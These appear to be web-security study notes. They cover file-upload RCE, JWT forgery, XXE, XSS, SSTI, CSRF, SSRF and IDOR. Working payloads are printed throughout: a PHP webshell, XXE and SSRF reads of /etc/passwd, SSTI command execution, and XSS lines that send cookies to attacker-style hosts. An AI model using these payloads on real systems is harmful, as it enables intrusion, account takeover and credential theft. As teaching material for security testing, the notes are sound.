### Remote Code Execution

Remote Code Execution (as the name suggests) would allow us to execute code arbitrarily on the web server. Whilst this is likely to be as a low-privileged web user account (such as www-data on Linux servers), it's still an extremely serious vulnerability.

Remote code execution through a web application tends to be a result of uploading a program written in the **same language as the back-end** of the website (or another language which the server understands and will execute).

There are two basic ways to achieve RCE on a webserver

#### 1. Webshells

* a Webshell may be the only option available (for example, if a file length limit has been imposed on uploads).
* For Example, A simple webshell works by taking a parameter and executing it as a system command. In PHP, the syntax for this would be
  * ```
    <?php
      	echo system($_GET["cmd"]);
      ?>
    ```
  * This code takes a GET parameter (in the url like ip/script.php?cmd=id;whoami;ls) and executes it as a system command. It then echoes the output out to the screen.

#### 2. Reverse Shells

* Realistically a fully featured reverse shell is the ideal goal for an attacker;
* For example, we can upload a reverse shell script written in backend language and then we can open a listener on our machine and then executing the script on the server to gain reverse shell

As a general methodology, we would be looking to upload a shell of one kind or another, then activating it, either by **navigating directly** to the file if the server allows it, or by otherwise forcing the **webapp** to **run the script** for us.

***

### Defense Mechanisms

#### Client Side Filtering

When we talk about a script being "Client-Side", in the context of web applications, we mean that it's running in the user's browser as opposed to on the web server itself. In the context of file-uploads, this means that the filtering occurs before the file is even uploaded to the server. client-side filtering by itself is a highly insecure method of verifying that an uploaded file is not malicious.

#### Server Side Filtering

A server-side script will be run on the server. Server-side filtering tends to be more difficult to bypass, as you don't have the code in front of you. As the code is executed on the server, in most cases it will also be impossible to bypass the filter completely instead we have to form a payload which conforms to the filters in place, but still allows us to execute our code.

#### Kinds of Filtering

* **Extension Validation**
  * File extensions are used (in theory) to identify the contents of a file.
    * MS Windows still uses them to identify file types
    * Unix based systems use magic numbers for identifying files
  * Filters that check for extensions work in one of two ways.
    1. **blacklist extensions** : have a list of extensions which are not allowed
    2. **whitelist extensions** : have a list of extensions which are allowed and reject everything else
* **File Type Filtering**
  * Similar to Extension validation, but more intensive, file type filtering looks, once again, to verify that the contents of a file are acceptable to upload. We'll be looking at two types of file type validation:
    1. **MIME validation**
       * MIME (Multipurpose Internet Mail Extension) types are used as an identifier for files
         * originally when transfered as attachments over email, but now also when files are being transferred over HTTP(S). The MIME type for a file upload is attached in the header of the request
           \*

           ```
           <figure><img src="/files/ssnPJOSXG3r0XDPnN1nz" alt=""><figcaption></figcaption></figure>
           ```
       * MIME types follow the format `<type>/<subtype>`.
       * As MIME is based on the extension of the file, this is extremely easy to bypass.
    2. **Magic Number validation**
       * Magic numbers are the more accurate way of determining the contents of a file
       * They are by no means impossible to fake.
       * The "magic number" of a file is a **string of bytes at the very beginning of the file** content which identify the content. For example, a PNG file would have these bytes at the very top of the file: `89 50 4E 47 0D 0A 1A 0A.`
       * When dealing with file uploads, it is possible to check the magic number of the uploaded file to ensure that it is safe to accept.
* **File Length Filtering**

  File length filters are used to prevent huge files from being uploaded to the server via an upload form.
* **File Name Filtering**

  Files uploaded to a server should be unique. Additionally, file names should be sanitised on upload to ensure that they don't contain any "bad characters", e.g. null bytes or forward slashes on Linux, as well as control characters such as `;` and potentially unicode characters So be aware that you may have to go hunting for your shell in the event that you manage to bypass the content filtering.
* **File Content Filtering**

  More complicated filtering systems may scan the full contents of an uploaded file to ensure that it's not spoofing its extension, MIME type and Magic Number.

***

### Attack Mechanisms

#### Client Side Filtering

There are four easy ways to bypass your average client-side file upload filter:

1. Turn off Javascript in your browser
   * this will work provided the site doesn't require Javascript in order to provide basic functionality.
2. Intercept and modify the incoming page
   * Using Burpsuite, we can intercept the incoming web page and strip out the Javascript filter before it has a chance to run.
   * Be sure to clear that site cache to clear any stored js file else it would not be intercepted
3. Intercept and modify the file upload
   * Where the previous method works before the webpage is loaded, this method allows the web page to load as normal, but intercepts the file upload after it's already passed (and been accepted by the filter).
4. Send the file directly to the upload point
   * Why use the webpage with the filter, when you can send the file directly using a tool like `curl`, the syntax for such a command would look something like this:
     * `curl -X POST -F "submit:<value>" -F "<file-parameter>:@<path-to-file>" <site>`
     * To use this method you would first aim to intercept a successful upload (using Burpsuite or the browser console) to see the parameters being used in the upload, which can then be slotted into the above command.

#### Server Side Filtering : File Extensions

* In server-side filter, we have to perform a lot of testing to build up an idea of what is or is not allowed through the filter, then gradually put together a payload which conforms to the restrictions.
* We'll take a look at a website that's using a blacklist for file extensions as a server side filter.
* For example, our web app blocks php uploads with extensions (.php and .phtml), however there are total 5 php extensions which are there, we can use those extensions to run our php script
* Other example may include trying out nested extensions like `shell.jpg.php` to see that whether the app reads - the first extension after period.
* There are a million different ways to implement the same feature when it comes to programming -- your exploitation must be tailored to the filter at hand.
  * The key to bypassing any kind of server side filter is to enumerate and see what is allowed, as well as what is blocked; then try to craft a payload which can pass the criteria the filter is looking for.

#### Server Side Filtering : Magic Numbers

* The magic number of a file is a string of hex digits, and is always the very first thing in a file. Knowing this, it's possible to use magic numbers to validate file uploads, simply by reading those first few bytes and comparing them against either a whitelist or a blacklist.
* **This technique can be very effective against a PHP based webserver**
  * however, it can sometimes fail against other types of webserver.
* [WikiPedia page of Magic Number of DIfferent FIles](https://en.wikipedia.org/wiki/List_of_file_signatures)
* For example, to add a .jpg magic number in a file,
  * we see that jpg magic hex no is `FF D8 FF DB`
  * we open the file and add `AAAA` on top of file, random 4 characters
  * then we open the file using `hexeditor` and change the first four hex numbers `41 41 41 41` with jpg magic numbers

***

### Methodology to Approach Finding File Upload Vulneralbilities

We'll look at this as a step-by-step process. Let's say that we've been given a website to perform a security audit on.

1. The first thing we would do is take a look at the website as a whole. Using browser extensions such as the aforementioned Wappalyzer (or by hand) we would look for indicators of what languages and frameworks the web application might have been built with. Be aware that Wappalyzer is not always 100% accurate. A good start to enumerating this manually would be by making a request to the website and intercepting the response with Burpsuite. Headers such as **`server`** or **`x-powered-by`** can be used to gain information about the server. We would also be looking for vectors of attack, like, for example, an upload page.
2. Having found an upload page, we would then aim to inspect it further. Looking at the source code for client-side scripts to determine if there are any client-side filters to bypass would be a good thing to start with, as this is completely in our control.
3. We would then attempt a completely innocent file upload. From here we would look to see how our file is accessed. In other words, can we access it directly in an uploads folder? Is it embedded in a page somewhere? What's the naming scheme of the website? This is where tools such as Gobuster might come in if the location is not immediately obvious. This step is extremely important as it not only improves our knowledge of the virtual landscape we're attacking, it also gives us a baseline "accepted" file which we can base further testing on.
   * An important Gobuster switch here is the `-x` switch, which can be used to look for files with specific extensions. For example, if you added `-x php,txt,html` to your Gobuster command, the tool would append `.php`, `.txt`, and `.html` to each word in the selected wordlist, one at a time. This can be very useful if you've managed to upload a payload and the server is changing the name of uploaded files.
4. Having ascertained how and where our uploaded files can be accessed, we would then attempt a malicious file upload, bypassing any client-side filters we found in step two. We would expect our upload to be stopped by a server side filter, but the error message that it gives us can be extremely useful in determining our next steps.

Assuming that our malicious file upload has been stopped by the server, here are some ways to ascertain what kind of server-side filter may be in place:

* If you can successfully upload a file with a totally invalid file extension (e.g. `testingimage.invalidfileextension`) then the chances are that the server is using an extension blacklist to filter out executable files. If this upload fails then any extension filter will be operating on a whitelist.
* Try re-uploading your originally accepted innocent file, but this time change the magic number of the file to be something that you would expect to be filtered. If the upload fails then you know that the server is using a magic number based filter.
* As with the previous point, try to upload your innocent file, but intercept the request with Burpsuite and change the MIME type of the upload to something that you would expect to be filtered. If the upload fails then you know that the server is filtering based on MIME types.
* Enumerating file length filters is a case of uploading a small file, then uploading progressively bigger files until you hit the filter. At that point you'll know what the acceptable limit is. If you're very lucky then the error message of original upload may outright tell you what the size limit is. Be aware that a small file length limit may prevent you from uploading the reverse shell we've been using so far.


# Authentication Vulnerability

### Dictionary Attack

The very obvious method of attacking any login form is just to brute force the credentials. But in this kind of brute force, we don't simply try numbers or simple alphabets. What we do is take an existing dictionary of commonly used username/passwords and use those to see if we can find the right combination. This is known as **Dictionary Attack**.

To perform a dictionary attack we can use a lot of tools like Hydra or Medusa but the issue with these CLI tools is that we need to provide a lot of arguments to them started and that could be confusing. That is why when trying a dictionary attack on a web application/form it's better to use Burp Suite. In Burp we can capture the login request and then use intruder to perform the attack.

***

### Re-Registration

A lot of times what happens is that developer forgets to sanitize the input(username & password) given by the user in the code of their application which can make them vulnerable to things like SQL injection but SQLi could be a bit difficult to exploit. So we are going to focus on a vulnerability that happens because of a developer's mistake but is very easy to exploit i.e re-registration of an existing user.

say there is an existing user with the name admin and now we want to get access to their account so what we can do is try to re-register that username but with slight modification. We are going to enter " admin"(notice the space in the starting). Now when you enter that in the username field and enter other required information like email id or password and submit that data. It will actually register a new user but that user will have the same right as normal admin. And that new user will also be able to see all the content present under the user admin.

***

### JSON Web Tokens

JSON Web Token(JWT) is one of the commonly used methods for authorization. This is a kind of cookie that is generated using HMAC hashing or public/private keys. So unlike any other kind of cookie, it lets the website know what kind of access the currently logged in user has. The only special thing about JWT is that they are in JSON format(after decoding).

JWT can be divided into 3 parts separated by a dot(.)

1. **Header**: This consists of the algorithm used and the type of the token.
   * `{ "alg": "HS256", "typ": "JWT"}`
   * alg could be HMAC, RSA, SHA256 or can even contain None value.
2. **Payload**: This is part that contains the access given to the certain user etc. This can vary from website to website, some can just have a simple username and some ID and others could have a lot of other details.
3. **Signature**: This is the part that is used to make sure that the integrity of the data was maintained while transferring it from a user's computer to the server and back. This is encrypted with whatever algorithm or alg that was passed in the header's value. And this can only be decrypted with a predefined secret(which should be difficult to)

Now to put all the 3 part together we base64 encode all of them separated by a dot(.) so it would look something like:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
```

More Info Here [jwt.io](https://jwt.io/#debugger-io) [Payloads Here](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token)

#### `None` Manual Exploitation

The None algorithm is used when you still want to use JWT, however there is other security in place to stop people from spoofing data.

If you remember, in the Header section I said that the alg can be whatever the algorithm is used and also it can be **None** if no encryption is to be used. Now, this should not be used when the application is in production but again the problem of misconfiguration comes in and make the application vulnerable to this kind of attack. The attack is that an attacker can log in as low privilege user says **guest** and then get the JWT token for that user and then decode the token and edit the headers to use set **alg** value to **None**. This would mean that no encryption has to be used therefore the attacker wouldn't need to the secret used for encryption.

#### `None` Automatic Exploitation

There is no tool that can check the library, get the token, and make sure this is vulnerable. Therefore, you're gonna have to do this manually. The header for each JWT none vuln though is the same, which can help you out. Here's the header `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0` Which decodes to {"type": "JWT", "alg": "none"}

#### `HHS256` Manual Exploitation

1. We start off with a basic application
2. We find and decode its JWT
   * use `jwt.io`
3. Decoding the JWT gives us our header, payload, and a bunch of garbage which is the secret.
4. It seems the algorithm is RS256, which doesn't have any vulnerabilities. Fortunately for us though, this server leaves its public key lying around, which means we can change the algorithm and sign a new secret! The first step is to change the algorithm in the header to HS256, and then re encode it in base64 hence generating our new JWT.
   * use `jwt.io`
5. The next step is to convert the public key to hex so openssl will use it.
   * `cat publickey | xxd -p | tr -d "\\n"`
   * publickey is the file with the public key
   * xxd -p turns the contents of a file to hex
   * tr is there to get rid of any newlines
6. The next step is to use openssl to sign that as a valid HS256 key.
   * `echo -n "file" | openssl dgst -sha256 -mac HMAC -macopt hexkey:`
   * where -n `text` is the rencoded file header plus previous payload without the signature part
   * where value of hexkey is the one generated above
7. The final step is to decode that hex to binary data, and reencode it in base64, luckily python makes this really easy for us.
   * `python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('hexval')).replace('=','')\")"`
   * where hexval is the value we go from step 6
8. That's our final secret, now we just put that where the secret should go, and the server should accept it.
9. Hence our final JWT will be calculated

#### `HHS256` Automatic Exploitation

Due to the fact that JWT tokens often expire, there's no real way to guarantee that finding the public key is possible, and that there is no way to keep the data portion of the JWT consistent, there aren't tools avaliable that automatically exploit JWT vulnerabilities. JWT vulns have to be exploited on a case by case basis.

Now that doesn't mean you can't write a script that does everything automatically for a specific website that you know is vulnerable, it's just that by the time you succeed in doing that, you could have already exploited the vulnerability.

#### Bruteforce JWT

Recall that JWT HS256 is calculated using a secret.The exact format of the calculation is `HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)` Therefore, it stands to reason that, since we have the full jwt token, and the header and payload, the secret can be brute forced to obtain the full JWT token. If the secret can be brute forced then the attacker could sign his own JWT tokens.

To brute force these secrets we'll be using a tool called [jwt-cracker](https://github.com/lmammino/jwt-cracker). The syntax of jwt-cracker is `jwt-cracker <token> [alphabet] [max-length]` where alphabet and max-length are optional parameters.

Explanation of Paramaters:

1. Token : The HS256 JWT token
2. Alphabet : The alphabet that the cracker will use to check passwords(default: "abcdefghijklmnopqrstuvwxyz")
3. max-length : The max expected length of the secret(12 by default)

***

### No Auth

A lot of time on websites we see that when we register a user and login with our credentials we are given a certain id which either is completely a number or ends with a number. Most of the time developers secures their application but sometime in some places, it could happen that just by changing that number we are able to see some hidden or private data.

For instance, &#x20;

<figure><img src="https://1920086362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDfv51K0WXLZdwTryHQZc%2Fuploads%2FOnOoHnxiWx2xgJQWNBRJ%2Fimage.png?alt=media&amp;token=ea36709d-d62b-4ef2-9382-61c40ac95270" alt=""><figcaption></figcaption></figure>

As you can see in the image above the URL have /users/1. Try to change that value to 2 and we will get access to another user account

The chance of finding this kind of vulnerability is very low but it could be a very serious bug if you get lucky and found something like this.

***


# XML External Entity (XXE)

### Introduction

An XML External Entity (**XXE**) attack is a vulnerability that abuses features of XML parsers/data. It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system. They can also cause Denial of Service (**DoS**) attack or could use XXE to perform Server-Side Request Forgery (**SSRF**) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution.

***

### Types

There are two types of XXE attacks: in-band and out-of-band (OOB-XXE).

#### 1) An in-band XXE

attack is the one in which the attacker can receive an immediate response to the XXE payload.

#### 2) Out-of-band XXE attacks (also called blind XXE)

there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server.

***

### **Document Type Definition (DTD)**

A DTD defines the structure and the legal elements and attributes of an XML document.

* `<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>`
* ````
  ```
  ````

  falcon feast hacking XXE attack \`\`\`

***

### XXE Payloads

We are defining a ENTITY called name and assigning it a value feast. Later we are using that ENTITY in our code.

* ```
     <!DOCTYPE replace [<!ENTITY name "feast"> ]>
     <userInfo>
  	<firstName>falcon</firstName>
  	<lastName>&name;</lastName>
     </userInfo>
  ```

  We can also use XXE to read some file from the system by defining an ENTITY and having it use the SYSTEM keyword
* ```
  <?xml version="1.0"?>
  <!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
  <root>&read;</root>
  ```

***

### Manual Exploitation

1. we start off with a simple login application
2. Let's fill it with random data and examine the request in burp.
   \*

   ```
   <figure><img src="/files/0lylnMly4khLo01JKv27" alt=""><figcaption></figcaption></figure>
   ```
3. It seems all of our data is being put into XML format, and is being posted to "process.php". Let's send the request and see what we get.
   \*

   ```
   <figure><img src="/files/YQjlZbWp7WIwNHZfS1LN" alt=""><figcaption></figcaption></figure>
   ```
4. This is very promising, because it returns the output of one of the XML fields, meaning we may be able to view the contents of files on the filesystem. Further playing with the requests, tells me that it returns the email field.
   \*

   ```
   <figure><img src="/files/BXDZwaaVLpLwuuKc6hWh" alt=""><figcaption></figcaption></figure>
   ```
5. Let's try creating an entity that has the value of /etc/passwd. We can do this by once again using the amazing repository [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#classic-xxe).
   \*

   ```
   <figure><img src="/files/ZV7zyJT2vwPFkJnveAvP" alt=""><figcaption></figcaption></figure>
   ```
6. We have XXE! Typically this is the best case scenario, we can get the output of files on the system, and from that we could enumerate further. There is however, a chance that we could get RCE from XXE if the php expect module is loaded. Let's try doing that.All expect is a php module that allows you to run commands.
   \*

   ```
   <figure><img src="/files/EWIpyfQp54s03PVPrfoO" alt=""><figcaption></figcaption></figure>
   ```
7. Fortunately for us, we can use "expect://". Even with XXE this module especially is not guaranteed, meaning that a user has to manually install it, so don't immediately go for the RCE.

***

### Automatic Exploitation

XXE can't really be automatically exploited, as you can't guarantee xml data will be the same, and which payload will or won't work. By the time you figure out that it's vulnerable and make a script to exploit it, you could have a reverse shell or LFI already using burp.

***


# Cross-Site Scripting (XSS)

### Introduction

Cross-site scripting, also known as XSS is a security vulnerability typically found in web applications. It’s a type of injection which can allow an attacker to execute malicious scripts and have it execute on a victim’s machine.

A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS.

***

### Possible Attacks

* **Cookie Stealing** - Stealing your cookie from an authenticated session, allowing an attacker to login as you without themselves having to provide authentication.
* **Keylogging** - An attacker can register a keyboard event listener and send all of your keystrokes to their own server.
* **Webcam snapshot** - Using HTML5 capabilities its possible to even take snapshots from a compromised computer webcam.
* **Phishing** - An attacker could either insert fake login forms into the page, or have you redirected to a clone of a site tricking you into revealing your sensitive data.
* **Port Scanning** - You read that correctly. You can use stored XSS to scan an internal network and identify other hosts on their network.
* **Other browser based exploits** - There are millions of possibilities with XSS.

***

### 3 Types of XSS

1. **Stored/Persistent XSS (Server-side)**
2. **Reflected XSS (Client-side)**
3. **DOM-Based XSS (Special)**

***

### **Stored XSS**

The most dangerous type of XSS. This is where a malicious string originates from the website’s database. This often happens when a website allows user input that is not sanitised (remove the "bad parts" of a users input) when inserted into the database.

A attacker creates a payload in a field when signing up to a website that is stored in the websites database. If the website doesn't properly sanitise that field, when the site displays that field on the page, it will execute the payload to everyone who visits it.

The payload could be as simple as `<script>alert(1)</script>`

However, this payload wont just execute in your browser but any other browsers that display the malicious data inserted into the database.

#### Cookie Stealing

Stored XSS can be used to steal a victims cookie (data on a machine that authenticates a user to a webserver). This can be done by having a victims browser parse the following Javascript code: `<script>window.location='http://attacker/?cookie='+document.cookie</script>` Once your victim (in this case you hope its Jack), to visit this page, it will log his cookie for you to steal!You can also use other HTML tags to make requests, including the img tag `<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />`

***

### **Reflected XSS**

The malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.

This might seem harmless as it requires the victim to send a request containing an attackers payload, and a user wouldn't attack themselves. However, attackers could trick the user into clicking their crafted link that contains their payload via social-engineering them via email..

Reflected XSS is the most common type of XSS attack.

#### Example

An attacker crafts a URL containing a malicious payload and sends it to the victim. The victim is tricked by the attacker into clicking the URL. The request could be `http://example.com/search?keyword=<script>...</script>`

The website then includes this malicious payload from the request in the response to the user. The victims browser will execute the payload inside the response. The data the script gathered is then sent back to the attacker (it might not necessarily be sent from the victim, but to another website where the attacker then gathers this data - this protects the attacker from directly receiving the victims data).

***

### **Dom Based XSS**

DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content. A web page is a document and this document can be either displayed in the browser window or as the HTML source.

#### Example

In a DOM-based XSS attack, a malicious payload is not actually parsed by the victim's browser until the website's legitimate JavaScript is executed. So what does this mean?

With reflective xss, an attackers payload will be injected directly on the website and will not matter when other Javascript on the site gets loaded.

```html
<html>
    You searched for <em><script>...</script></em>
</html
```

With DOM-Based xss, an attackers payload will only be executed when the vulnerable Javascript code is either loaded or interacted with. It goes through a Javascript function like so:

```javascript
var keyword = document.querySelector('#search')
keyword.innerHTML = <script>...</script>
```

***

### **Common XSS Payloads**

#### Port Scanner

[Link](http://www.xss-payloads.com/payloads/scripts/portscanapi.js.html) If an attacker is interested in what other devices are connected on the network, they can use Javascript to make requests to a range of IP addresses and determine which one responds.

For example, a website could try to find if your router has a web interface at 192.168.0.1 by:

```html
<img src="http://192.168.0.1/favicon.ico" onload="alert('Found')" onerror="alert('Not found')">
```

#### XSS Keylogger

[Link](http://www.xss-payloads.com/payloads/scripts/simplekeylogger.js.html) You can log all keystrokes of a user, capturing their password and other sensitive information they type into the webpage.

```javascript
<script type="text/javascript">
	// Variable to store key-strokes in
	let l = "";
	// Event to listen for key presses
	document.onkeypress = function (e) {
		// "If user types, log it to the l variable"
   	l += e.key;
		// update this line to post to your own server
   	console.log(l);
	}
</script>
```

#### Filter Evasion

There are many techniques used to filter malicious payloads that are used with cross-site scripting.

#### Others

* Popup's `<script>alert(“Hello World”)</script>`
  * Creates a Hello World message popup on a users browser.
* Writing HTML (document.write)
  * Override the website's HTML to add your own (essentially defacing the entire page).

***

### [**XSS-Payloads.com**](http://www.xss-payloads.com/)

is a website that has XSS related Payloads, Tools, Documentation and more. You can download XSS payloads that take snapshots from a webcam or even get a more capable port and network scanner.

***

### Protection Methods

There are many ways to prevent XSS, here are the 3 ways to keep cross-site scripting our of your application.

1. **Escaping** - Escape all user input. This means any data your application has received is secure before rendering it for your end users. By escaping user input, key characters in the data received but the web page will be prevented from being interpreter in any malicious way. For example, you could disallow the < and > characters from being rendered.
2. **Validating Input** - This is the process of ensuring your application is rendering the correct data and preventing malicious data from doing harm to your site, database and users. Input validation is disallowing certain characters from being submit in the first place.
3. **Sanitising** - Lastly, sanitizing data is a strong defence but should not be used to battle XSS attacks alone. Sanitizing user input is especially helpful on sites that allow HTML markup, changing the unacceptable user input into an acceptable format. For example you could sanitise the < character into the HTML entity `&#60`;

***


# ZTH: Obscure Web Vulns

### Server Side Template Injection (SSTI)

A template engine allows developers to use static HTML pages with dynamic elements. Take for instance a static profile.html page, a template engine would allow a developer to set a username parameter, that would always be set to the current user's username

Server Side Template Injection, is when a user is able to pass in a parameter that can control the template engine that is running on the server.

For example take the code<br>

This introduces a vulnerability, as it allows a hacker to inject template code into the website. The effects of this can be devastating, from XSS, all the way to RCE.

**Note: Different template engines have different injection payloads, however usually you can test for SSTI using {{2+2}} as a test.**

#### Manual Exploitation

Gives us this page. It takes a prompt for a name, and then returns `Hello <name>!.`, suppose it is vulnerable to SSTI ( {{2+2}} gives `Hello 4!` )

We can use the wonderful repository [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#basic-injection), to find some payloads.

For example, `{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}` to read files on the server.

We can use the code `{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}` to execute commands on the server. All that payload does is import the os module, and run a command using the popen method.

#### Automatic Exploitation

There is a tool known as `Tplmap` that does that for us! The tool can be found [here](https://github.com/epinna/tplmap).

**Note: use python2 to install the requirements. python2 -m pip**

The basic syntax for tplmap is different depending on whether you're using get or post

```
GET	tplmap -u <url>/?<vulnparam>
POST	tplmap -u <url> -d '<vulnparam>'
```

***

### Cross Site Request Forgery (CSRF)

CSRF occurs when a user visits a page on a site, that performs an action on a different site. For instance, let's say a user clicks a link to a website created by a hacker, on the website would be an html tag such as `<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">` which would change the account email on the vulnerable website to "<pwned@evil-user.net>". CSRF works because it's the victim making the request not the site, so all the site sees is a normal user making a normal request.

This opens the door, to the user's account being fully compromised through the use of a password reset for example. The severity of this cannot be overstated, as it allows an attacker to potentially gain personal information about a user, such as credit card details in an extreme case.

#### Manual Exploitation

Let's take an example application

<figure><img src="https://1920086362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDfv51K0WXLZdwTryHQZc%2Fuploads%2FCCdG5BzBbCtzm50Kk73p%2Fimage.png?alt=media&amp;token=a8708f7e-3013-4dd8-897b-0ea076b1014f" alt=""><figcaption></figcaption></figure>

It seems simple enough, As user bob, I can send funds to either Bob or Alice with any of the available balance in my account. Let's take a closer look at the request in burp.

<figure><img src="https://1920086362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDfv51K0WXLZdwTryHQZc%2Fuploads%2F1zxgGrceyGXo2ryjVVeH%2Fimage.png?alt=media&amp;token=a96a209f-c76a-4680-98f3-18239abb6dd2" alt=""><figcaption></figcaption></figure>

This is looking good, parameters we can customize and a session cookie that is automatically set. Everything seems vulnerable to CSRF. Let's try and make a vulnerable site. Putting `<img src="http://localhost:3000/transfer?to=alice&amount=100">` into an html file and using SimpleHTTPServer to host it should change's Alice's balance by 100, Let's see if it does!

<figure><img src="https://1920086362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDfv51K0WXLZdwTryHQZc%2Fuploads%2FmmgfI4IpQLpTxqV9w82A%2Fimage.png?alt=media&amp;token=645cb871-86a0-49ea-845a-a9fca65e3574" alt=""><figcaption></figcaption></figure>

#### Automatic Exploitation

There is a nice automated scanner, which tests if a site is vulnerable to CSRF. this tool is known as **xsrfprobe** and can be install via pip using `pip3 install xsrfprobe`. This will only work using python 3.

The syntax for the command is `xsrfprobe -u <url>/<endpoint>`

***


# Server Side Request Forgery (SSRF)

### **Introduction**

SSRF is a vulnerability in web applications whereby an attacker can make further HTTP requests through the server. An attacker can make use of this vulnerability to communicate with any internal services on the server's network which are generally protected by firewalls.

<figure><img src="https://1920086362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDfv51K0WXLZdwTryHQZc%2Fuploads%2FyUxgTmPB6O7zVP9KoOVP%2Fimage.png?alt=media&amp;token=5e334ae5-d16c-47c9-8808-72faa6974993" alt=""><figcaption></figcaption></figure>

The process would usually be something like this: an attacker finds an SSRF vulnerability on a website. The firewall allows all requests to the website. The attacker then exploits the SSRF vulnerability by forcing the webserver to request data from the database, which it then returns to the attacker. Because the request is coming from the webserver, rather than directly from the attacker, the firewall allows this to pass.

***

### **Cause of the vulnerability**

The main cause of the vulnerability is (as it often is) blindly trusting input from a user. In the case of an SSRF vulnerability, a user would be asked to input a URL (or maybe an IP address). The web application would use that to make a request. SSRF comes about when the input hasn't been properly checked or filtered.

***

### **Examples**

#### PHP

Assume there is an application that takes the URL for an image, which the web page then displays for you. The vulnerable SSRF code would look like this:

```php
<?php

if (isset($_GET['url']))

{
  $url = $_GET['url'];
  $image = fopen($url, 'rb');
  header("Content-Type: image/png");
  fpassthru($image);

}
```

This is simple PHP code which checks if there is information sent in a 'url' parameter then, without performing any kind of check on it, the code simply makes a request to the user-submitted URL. Attackers essentially have full control of the URL and can make arbitrary GET requests to any website on the Internet through the server -- as well as accessing resources on the server itself.

#### Python

```python
from flask import Flask, request,  render_template, redirect
import requests

app = Flask(__name__)

@app.route("/")
def start():
    url = request.args.get("id")
    r = requests.head(url, timeout=2.000)
    return render_template("index.html", result = r.content)

if __name__ == "__main__":
      app.run(host = '0.0.0.0')
```

The above example shows a very small flask application which does the same thing:

1. It takes the value of the "url" parameter.
2. Then it makes a request to the given URL and shows the content of that URL to the user.

Again we see that there is no sanitisation or any kind of check performed on the user input. This is why you should always try as many different payloads as you can when testing an application.

***

### **Payloads**

#### Basic Payloads

This payload might give you the hint that there is an SSRF vulnerability, and give you a hint as to which payloads which you should try next.

Initially, start by searching for the localhost IP (127.0.0.1) with any port to see if the port is running a service. Say you wanted to check if the server has a hidden database, you might search for `http://127.0.0.1:3306`, 3306 is the port for MySQL DB so if there is a database running, you will likely get a positive response.

In a similar manner, we could also have used "localhost" or "0.0.0.0" in place of 127.0.0.1

#### Advanced Payloads

Now it's very possible that some sort of sanitization will be being applied to the input, so the system might detect strings like "localhost" or "127.0.0.1" and stop the request. That said, it's possible to try and bypass those kinds of restrictions.

1. The very first way is to try the IPv6 version of the localhost i.e \[::]. So the payload from before would look like this `http://[::]:3306`
   * Flask/Django might interpret these payloads differently. If you fail with that payload, try removing the brackets (i.e try `http://:::3306`)
2. It is possible that the IPv6 payload may also be detected. In that case what we usually do is to encode our IP: either into a decimal format or a hexadecimal format.
   * The IP "`127.0.0.1`" can be replaced with its Decimal and Hexadecimal counterparts to bypass the restrictions. The decimal version of the localhost IP would be "2130706433" and the Hexadecimal version would be "0x7f000001".
   * There is a script to do this conversion process, you can find it [here](https://gist.github.com/mzfr/fd9959bea8e7965d851871d09374bb72)

#### Reading Files

If we start the URL with `file://` it would then try to read the files from the server itself.

For example, a simple SSRF file reading payload would be `file:///etc/passwd`, to read the /etc/passwd file on a Linux machine.

#### [Other Payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#file)

***


# Insecure Direct Object Reference (IDOR)

### Introduction

It is the act of exploiting a misconfiguration in the way user input is handled, to access resources you wouldn't ordinarily be able to access. IDOR is a type of access control vulnerability.

***

### Types of IDOR

#### 1. Blind IDOR:

The type of IDOR in which the results of the exploitation cannot be seen in the server response. For example modifying other user private data without accessing it.

#### 2. Generic IDOR:

The type of IDOR in which the results of the exploitation can be seen in the server response. For example accessing confidential data or files belonging to another user.

#### 3. IDOR with Reference to Objects:

Used to access or modify an unauthorized object. For example accessing bank account information of other users by sending such a request →example.com/accounts?id=**{reference ID}**

#### 4. IDOR with Reference to Files:

Used to access an unauthorized file. For example a live chat server stores the confidential conversations in files with names as incrementing numbers and any conversation can be retrieved by just sending requests like this →example.com/**1.log**, example.com/**2.log**, example.com/**3.log** and so on.

***

### In Query Components

For example, let's say we're logging into our bank account, and after correctly authenticating ourselves, we get taken to a URL like this <https://example.com/bank?account\\_number=1234>. On that page we can see all our important bank details, and a user would do whatever they needed to do and move along their way thinking nothing is wrong.

